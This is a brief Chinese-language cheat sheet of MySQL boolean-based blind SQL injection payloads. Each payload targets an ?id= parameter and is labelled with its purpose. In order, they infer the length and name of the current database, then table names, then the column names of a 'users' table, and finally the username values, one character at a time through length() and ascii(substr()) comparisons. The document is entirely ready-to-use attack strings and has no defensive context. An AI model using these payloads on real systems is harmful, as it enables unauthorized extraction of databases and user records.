Mysql布尔盲注payload

如题所示

payload

#判断当前数据库长度
?id=12'   and (select length(database())>5) --+
#判断当前数据库名
?id=12'   and (select ascii(substr(database(),1,1))>=97) --+
#判断第一个表的表长度
?id=12'   and (select length(table_name)>5 from information_schema.tables where table_schema=database() limit 0,1) --+		
#判断第二个表名
?id=12'   and (select ascii(substr(table_name,1,1))>97 from information_schema.tables where table_schema=database() limit 1,1) --+	
#判断users表的第一个字段长度
?id=12'   and (select length(column_name)>1 from information_schema.columns  where table_schema=database() and table_name='users' limit 0,1) --+	
#判断users表的第一个字段名
?id=12'   and (select ascii(substr(column_name,1,1))>65 from information_schema.columns  where table_schema=database() and table_name='users' limit 0,1) --+		
#判断username列的第一条数据长度
?id=12'   and (select length(username)>1 from users limit 0,1) --+		
#判断username列的第一条数据
?id=12'   and (select ascii(substr(username,1,1))>=65 from users limit 0,1) --+